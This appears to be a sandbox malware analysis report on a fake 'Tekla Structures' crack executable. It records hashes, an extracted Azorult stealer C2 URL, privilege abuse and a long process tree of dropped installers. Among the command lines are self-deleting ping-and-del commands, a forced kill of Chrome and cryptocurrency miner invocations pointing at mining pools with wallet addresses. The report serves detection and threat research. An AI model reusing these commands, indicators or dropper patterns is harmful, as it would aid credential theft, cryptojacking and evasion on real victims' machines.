Analysis
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max time kernel
26s -
max time network
65s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
03-04-2021 07:46
Static task
static1
Behavioral task
behavioral1
Sample
Tekla_Structures_Extension_crack.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Tekla_Structures_Extension_crack.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Tekla_Structures_Extension_crack.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Tekla_Structures_Extension_crack.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Tekla_Structures_Extension_crack.exe
Resource
win7v20201028
General
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Target
Tekla_Structures_Extension_crack.exe
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Size
5.4MB
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MD5
baad366f257529076340afc66d1ac59c
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SHA1
3dafcc431b85bd6a527e70879137e1f27e160849
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SHA256
3f5a92454d1b626e24016329a9de52e40d78aae1e5977f53e820a2e2812d3975
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SHA512
98d2e5ace89934ebc193ae6b8277b363d9d197a54bbcf6dfa3f40df2671d89c87e4d13737ea99eceb9a2a1ac3bd135ffa53d555f93f72ff2a36f1874cb94dd85
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Signatures
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Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
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Executes dropped EXE 10 IoCs
pid Process 836 keygen-pr.exe 1008 keygen-step-1.exe 1048 keygen-step-3.exe 1292 keygen-step-4.exe 4392 key.exe 2064 Setup.exe 4540 multitimer.exe 4744 setups.exe 2724 askinstall20.exe 1320 setups.tmp -
Loads dropped DLL 7 IoCs
pid Process 1320 setups.tmp 1320 setups.tmp 1320 setups.tmp 1320 setups.tmp 1320 setups.tmp 1320 setups.tmp 1320 setups.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 102 api.ipify.org 133 ipinfo.io 135 ipinfo.io -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Kills process with taskkill 1 IoCs
pid Process 3848 taskkill.exe -
Runs ping.exe 1 TTPs 3 IoCs
pid Process 4532 PING.EXE 4888 PING.EXE 5720 PING.EXE -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 134 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 138 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1320 setups.tmp 1320 setups.tmp -
Suspicious use of AdjustPrivilegeToken 35 IoCs
description pid Process Token: SeDebugPrivilege 2064 Setup.exe Token: SeCreateTokenPrivilege 2724 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 2724 askinstall20.exe Token: SeLockMemoryPrivilege 2724 askinstall20.exe Token: SeIncreaseQuotaPrivilege 2724 askinstall20.exe Token: SeMachineAccountPrivilege 2724 askinstall20.exe Token: SeTcbPrivilege 2724 askinstall20.exe Token: SeSecurityPrivilege 2724 askinstall20.exe Token: SeTakeOwnershipPrivilege 2724 askinstall20.exe Token: SeLoadDriverPrivilege 2724 askinstall20.exe Token: SeSystemProfilePrivilege 2724 askinstall20.exe Token: SeSystemtimePrivilege 2724 askinstall20.exe Token: SeProfSingleProcessPrivilege 2724 askinstall20.exe Token: SeIncBasePriorityPrivilege 2724 askinstall20.exe Token: SeCreatePagefilePrivilege 2724 askinstall20.exe Token: SeCreatePermanentPrivilege 2724 askinstall20.exe Token: SeBackupPrivilege 2724 askinstall20.exe Token: SeRestorePrivilege 2724 askinstall20.exe Token: SeShutdownPrivilege 2724 askinstall20.exe Token: SeDebugPrivilege 2724 askinstall20.exe Token: SeAuditPrivilege 2724 askinstall20.exe Token: SeSystemEnvironmentPrivilege 2724 askinstall20.exe Token: SeChangeNotifyPrivilege 2724 askinstall20.exe Token: SeRemoteShutdownPrivilege 2724 askinstall20.exe Token: SeUndockPrivilege 2724 askinstall20.exe Token: SeSyncAgentPrivilege 2724 askinstall20.exe Token: SeEnableDelegationPrivilege 2724 askinstall20.exe Token: SeManageVolumePrivilege 2724 askinstall20.exe Token: SeImpersonatePrivilege 2724 askinstall20.exe Token: SeCreateGlobalPrivilege 2724 askinstall20.exe Token: 31 2724 askinstall20.exe Token: 32 2724 askinstall20.exe Token: 33 2724 askinstall20.exe Token: 34 2724 askinstall20.exe Token: 35 2724 askinstall20.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4744 setups.exe 1320 setups.tmp -
Suspicious use of WriteProcessMemory 40 IoCs
description pid Process procid_target PID 4764 wrote to memory of 2232 4764 Tekla_Structures_Extension_crack.exe 78 PID 4764 wrote to memory of 2232 4764 Tekla_Structures_Extension_crack.exe 78 PID 4764 wrote to memory of 2232 4764 Tekla_Structures_Extension_crack.exe 78 PID 2232 wrote to memory of 836 2232 cmd.exe 81 PID 2232 wrote to memory of 836 2232 cmd.exe 81 PID 2232 wrote to memory of 836 2232 cmd.exe 81 PID 2232 wrote to memory of 1008 2232 cmd.exe 82 PID 2232 wrote to memory of 1008 2232 cmd.exe 82 PID 2232 wrote to memory of 1008 2232 cmd.exe 82 PID 2232 wrote to memory of 1048 2232 cmd.exe 83 PID 2232 wrote to memory of 1048 2232 cmd.exe 83 PID 2232 wrote to memory of 1048 2232 cmd.exe 83 PID 2232 wrote to memory of 1292 2232 cmd.exe 84 PID 2232 wrote to memory of 1292 2232 cmd.exe 84 PID 2232 wrote to memory of 1292 2232 cmd.exe 84 PID 836 wrote to memory of 4392 836 keygen-pr.exe 85 PID 836 wrote to memory of 4392 836 keygen-pr.exe 85 PID 836 wrote to memory of 4392 836 keygen-pr.exe 85 PID 1292 wrote to memory of 2064 1292 keygen-step-4.exe 86 PID 1292 wrote to memory of 2064 1292 keygen-step-4.exe 86 PID 1048 wrote to memory of 4496 1048 keygen-step-3.exe 87 PID 1048 wrote to memory of 4496 1048 keygen-step-3.exe 87 PID 1048 wrote to memory of 4496 1048 keygen-step-3.exe 87 PID 4392 wrote to memory of 3996 4392 key.exe 89 PID 4392 wrote to memory of 3996 4392 key.exe 89 PID 4392 wrote to memory of 3996 4392 key.exe 89 PID 4496 wrote to memory of 4532 4496 cmd.exe 90 PID 4496 wrote to memory of 4532 4496 cmd.exe 90 PID 4496 wrote to memory of 4532 4496 cmd.exe 90 PID 2064 wrote to memory of 4540 2064 Setup.exe 91 PID 2064 wrote to memory of 4540 2064 Setup.exe 91 PID 2064 wrote to memory of 4744 2064 Setup.exe 92 PID 2064 wrote to memory of 4744 2064 Setup.exe 92 PID 2064 wrote to memory of 4744 2064 Setup.exe 92 PID 1292 wrote to memory of 2724 1292 keygen-step-4.exe 93 PID 1292 wrote to memory of 2724 1292 keygen-step-4.exe 93 PID 1292 wrote to memory of 2724 1292 keygen-step-4.exe 93 PID 4744 wrote to memory of 1320 4744 setups.exe 94 PID 4744 wrote to memory of 1320 4744 setups.exe 94 PID 4744 wrote to memory of 1320 4744 setups.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\Tekla_Structures_Extension_crack.exe"C:\Users\Admin\AppData\Local\Temp\Tekla_Structures_Extension_crack.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:3996
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:1008
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:4532
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
PID:4540 -
C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe" 1 3.1617436091.60681dbbab403 1016⤵PID:3220
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C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZED3CF3OPH\multitimer.exe" 2 3.1617436091.60681dbbab4037⤵PID:1116
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C:\Users\Admin\AppData\Local\Temp\z1zsa3skw5s\vpn.exe"C:\Users\Admin\AppData\Local\Temp\z1zsa3skw5s\vpn.exe" /silent /subid=4828⤵PID:5404
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C:\Users\Admin\AppData\Local\Temp\is-S0RTB.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-S0RTB.tmp\vpn.tmp" /SL5="$30280,15170975,270336,C:\Users\Admin\AppData\Local\Temp\z1zsa3skw5s\vpn.exe" /silent /subid=4829⤵PID:5712
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C:\Users\Admin\AppData\Local\Temp\mvfvfzxui4b\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\mvfvfzxui4b\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:5564
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C:\Users\Admin\AppData\Local\Temp\is-C2N6G.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-C2N6G.tmp\IBInstaller_97039.tmp" /SL5="$30270,14574851,721408,C:\Users\Admin\AppData\Local\Temp\mvfvfzxui4b\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:5868
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-8HBQR.tmp\{app}\microsoft.cab -F:* %ProgramData%10⤵PID:6104
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C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-8HBQR.tmp\{app}\microsoft.cab -F:* C:\ProgramData11⤵PID:5160
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C:\Users\Admin\AppData\Local\Temp\pfgcej5xmn5\ngq11xr3qk1.exe"C:\Users\Admin\AppData\Local\Temp\pfgcej5xmn5\ngq11xr3qk1.exe" /quiet SILENT=1 AF=7568⤵PID:5700
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C:\Users\Admin\AppData\Local\Temp\tcqrrlgka1w\app.exe"C:\Users\Admin\AppData\Local\Temp\tcqrrlgka1w\app.exe" /8-238⤵PID:5676
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C:\Users\Admin\AppData\Local\Temp\lpoetjg54ml\fwnsuf1pmlw.exe"C:\Users\Admin\AppData\Local\Temp\lpoetjg54ml\fwnsuf1pmlw.exe"8⤵PID:5552
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C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\lpoetjg54ml\fwnsuf1pmlw.exe"9⤵PID:4872
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C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
PID:5720
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C:\Users\Admin\AppData\Local\Temp\swxttlihgem\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\swxttlihgem\cpyrix.exe" /VERYSILENT8⤵PID:5492
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C:\Users\Admin\AppData\Local\Temp\foapcgsvgru\KiffApp1.exe"C:\Users\Admin\AppData\Local\Temp\foapcgsvgru\KiffApp1.exe"8⤵PID:5464
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C:\Users\Admin\AppData\Local\Temp\qxnh0hvyeqd\vict.exe"C:\Users\Admin\AppData\Local\Temp\qxnh0hvyeqd\vict.exe" /VERYSILENT /id=5358⤵PID:5448
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C:\Users\Admin\AppData\Local\Temp\ualakuwcwnb\rtuxzx0taxi.exe"C:\Users\Admin\AppData\Local\Temp\ualakuwcwnb\rtuxzx0taxi.exe" /VERYSILENT8⤵PID:5428
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C:\Users\Admin\AppData\Local\Temp\03v0dqf210x\z0kxb1gvtno.exe"C:\Users\Admin\AppData\Local\Temp\03v0dqf210x\z0kxb1gvtno.exe" /ustwo INSTALL8⤵PID:5392
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C:\Users\Admin\AppData\Local\Temp\wce3exoz3ke\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\wce3exoz3ke\Setup3310.exe" /Verysilent /subid=5778⤵PID:5380
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C:\Users\Admin\AppData\Local\Temp\V381IGGK1S\setups.exe"C:\Users\Admin\AppData\Local\Temp\V381IGGK1S\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Users\Admin\AppData\Local\Temp\is-8S0C6.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-8S0C6.tmp\setups.tmp" /SL5="$5005A,635399,250368,C:\Users\Admin\AppData\Local\Temp\V381IGGK1S\setups.exe" ll6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1320
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C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:2860
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:3848
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C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"4⤵PID:2924
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵PID:704
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵PID:4560
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C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵PID:1296
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C:\Users\Admin\AppData\Roaming\F3AC.tmp.exe"C:\Users\Admin\AppData\Roaming\F3AC.tmp.exe"5⤵PID:4292
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C:\Users\Admin\AppData\Roaming\F3AC.tmp.exe"C:\Users\Admin\AppData\Roaming\F3AC.tmp.exe"6⤵PID:2600
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C:\Users\Admin\AppData\Roaming\F4B7.tmp.exe"C:\Users\Admin\AppData\Roaming\F4B7.tmp.exe"5⤵PID:4720
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C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:4704
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C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵PID:5248
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C:\Users\Admin\AppData\Roaming\F583.tmp.exe"C:\Users\Admin\AppData\Roaming\F583.tmp.exe"5⤵PID:4208
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:192
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4888
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C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵PID:2188
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5100
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C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4068
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:640
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4688
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C:\Users\Admin\AppData\Local\Temp\is-CBDPR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-CBDPR.tmp\vict.tmp" /SL5="$402E4,870426,780800,C:\Users\Admin\AppData\Local\Temp\qxnh0hvyeqd\vict.exe" /VERYSILENT /id=5351⤵PID:5768
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C:\Users\Admin\AppData\Local\Temp\is-NEMCT.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-NEMCT.tmp\win1host.exe" 5352⤵PID:4696
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C:\Users\Admin\AppData\Local\Temp\is-BA1U4.tmp\rtuxzx0taxi.tmp"C:\Users\Admin\AppData\Local\Temp\is-BA1U4.tmp\rtuxzx0taxi.tmp" /SL5="$30260,2592217,780800,C:\Users\Admin\AppData\Local\Temp\ualakuwcwnb\rtuxzx0taxi.exe" /VERYSILENT1⤵PID:5756
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C:\Users\Admin\AppData\Local\Temp\is-U6KVH.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-U6KVH.tmp\winlthsth.exe"2⤵PID:6052
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C:\Users\Admin\AppData\Local\Temp\is-1CATG.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-1CATG.tmp\Setup3310.tmp" /SL5="$30256,138429,56832,C:\Users\Admin\AppData\Local\Temp\wce3exoz3ke\Setup3310.exe" /Verysilent /subid=5771⤵PID:5624